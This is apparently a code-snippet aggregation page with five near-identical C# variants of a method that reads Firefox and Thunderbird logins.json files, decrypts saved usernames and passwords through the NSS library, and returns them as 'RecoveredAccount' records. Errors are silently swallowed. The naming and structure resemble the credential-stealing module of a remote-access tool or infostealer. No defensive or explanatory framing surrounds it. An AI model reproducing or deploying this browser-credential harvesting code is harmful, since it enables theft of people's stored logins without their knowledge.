Exemplo n.º 1
0
        /// <summary>
        /// Recover Firefox Passwords from logins.json
        /// </summary>
        /// <returns>List of Username/Password/Host</returns>
        public static List <FirefoxPassword> Passwords()
        {
            List <FirefoxPassword> firefoxPasswords = new List <FirefoxPassword>();

            // init libs
            InitializeDelegates(firefoxProfilePath, firefoxPath);


            JsonFFData ffLoginData = new JsonFFData();

            using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
            {
                string json = sr.ReadToEnd();
                ffLoginData = Newtonsoft.Json.JsonConvert.DeserializeObject <JsonFFData>(json);
            }

            foreach (LoginData data in ffLoginData.logins)
            {
                string username = Decrypt(data.encryptedUsername);
                string password = Decrypt(data.encryptedPassword);
                Uri    host     = new Uri(data.formSubmitURL);

                firefoxPasswords.Add(new FirefoxPassword()
                {
                    Host = host, Username = username, Password = password
                });
            }

            return(firefoxPasswords);
        }
Exemplo n.º 2
0
        /// <summary>
        /// Recover Firefox Passwords from logins.json
        /// </summary>
        /// <returns>List of Username/Password/Host</returns>
        public static List<RecoveredAccount> GetSavedPasswords()
        {
            List<RecoveredAccount> firefoxPasswords = new List<RecoveredAccount>();
            try
            {
                // init libs
                InitializeDelegates(firefoxProfilePath, firefoxPath);

                JsonFFData ffLoginData = new JsonFFData();

                using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
                {
                    string json = sr.ReadToEnd();
                    ffLoginData = JsonUtil.Deserialize<JsonFFData>(json);
                }

                foreach (Login data in ffLoginData.logins)
                {
                    string username = Decrypt(data.encryptedUsername);
                    string password = Decrypt(data.encryptedPassword);
                    Uri host = new Uri(data.formSubmitURL);

                    firefoxPasswords.Add(new RecoveredAccount() { URL = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" });
                }
            }
            catch (Exception)
            {
            }
            return firefoxPasswords;
        }
Exemplo n.º 3
0
        /// <summary>
        /// Recover Firefox Passwords from logins.json
        /// </summary>
        /// <returns>List of Username/Password/Host</returns>
        public static List <RecoveredAccount> GetSavedPasswords()
        {
            List <RecoveredAccount> firefoxPasswords = new List <RecoveredAccount>();

            try
            {
                // init libs
                InitializeDelegates(firefoxProfilePath, firefoxPath);

                JsonFFData ffLoginData = new JsonFFData();

                using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
                {
                    string json = sr.ReadToEnd();
                    ffLoginData = JsonUtil.Deserialize <JsonFFData>(json);
                }

                foreach (Login data in ffLoginData.logins)
                {
                    string username = Decrypt(data.encryptedUsername);
                    string password = Decrypt(data.encryptedPassword);
                    Uri    host     = new Uri(data.formSubmitURL);

                    firefoxPasswords.Add(new RecoveredAccount {
                        Url = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox"
                    });
                }
            }
            catch (Exception)
            {
            }
            return(firefoxPasswords);
        }
Exemplo n.º 4
0
        /// <summary>
        /// Recover thunderbird Passwords from logins.json
        /// </summary>
        /// <returns>List of Username/Password/Host</returns>
        public static List <RecoveredAccount> GetSavedPasswords()
        {
            List <RecoveredAccount> thunderbirdPasswords = new List <RecoveredAccount>();

            try
            {
                // init libs
                InitializeDelegates(thunderbirdProfilePath, thunderbirdPath);

                JsonFFData ffLoginData = new JsonFFData();

                using (StreamReader sr = new StreamReader(thunderbirdLoginFile.FullName))
                {
                    string json = sr.ReadToEnd();
                    ffLoginData = JsonUtil.Deserialize <JsonFFData>(json);
                }

                foreach (Login data in ffLoginData.logins)
                {
                    string username = Decrypt(data.encryptedUsername);
                    string password = Decrypt(data.encryptedPassword);
                    string host     = data.hostname;

                    thunderbirdPasswords.Add(new RecoveredAccount()
                    {
                        URL = host, Username = username, Password = password, Application = "Thunderbird"
                    });
                }
            }
            catch (Exception)
            {
            }

            Cleanup();

            return(thunderbirdPasswords);
        }
Exemplo n.º 5
0
        /// <summary>
        /// Recover thunderbird Passwords from logins.json
        /// </summary>
        /// <returns>List of Username/Password/Host</returns>
        public static List <RecoveredAccount> GetSavedPasswords()
        {
            List <RecoveredAccount> thunderbirdPasswords = new List <RecoveredAccount>();

            try
            {
                // init libs
                InitializeDelegates(thunderbirdProfilePath, thunderbirdPath);

                JsonFFData ffLoginData = new JsonFFData();

                using (StreamReader sr = new StreamReader(thunderbirdLoginFile.FullName))
                {
                    string json = sr.ReadToEnd();
                    ffLoginData = JsonUtil.Deserialize <JsonFFData>(json);
                }

                foreach (Login data in ffLoginData.logins)
                {
                    string username = Decrypt(data.encryptedUsername);
                    string password = Decrypt(data.encryptedPassword);
                    string host     = data.hostname;

                    thunderbirdPasswords.Add(new RecoveredAccount()
                    {
                        URL = host, Username = username, Password = password, Application = "Thunderbird"
                    });
                }
            }
            catch (Exception e)
            {
            }

            PK11_FreeSlot(_keySlot);
            NSS_Shutdown();

            if (_dll1 != IntPtr.Zero)
            {
                FreeLibrary(_dll1);
            }
            if (_dll2 != IntPtr.Zero)
            {
                FreeLibrary(_dll2);
            }
            if (_dll3 != IntPtr.Zero)
            {
                FreeLibrary(_dll3);
            }
            if (_dll4 != IntPtr.Zero)
            {
                FreeLibrary(_dll4);
            }
            if (_dll5 != IntPtr.Zero)
            {
                FreeLibrary(_dll5);
            }

            if (_nssModule != IntPtr.Zero)
            {
                FreeLibrary(_nssModule);
            }

            return(thunderbirdPasswords);
        }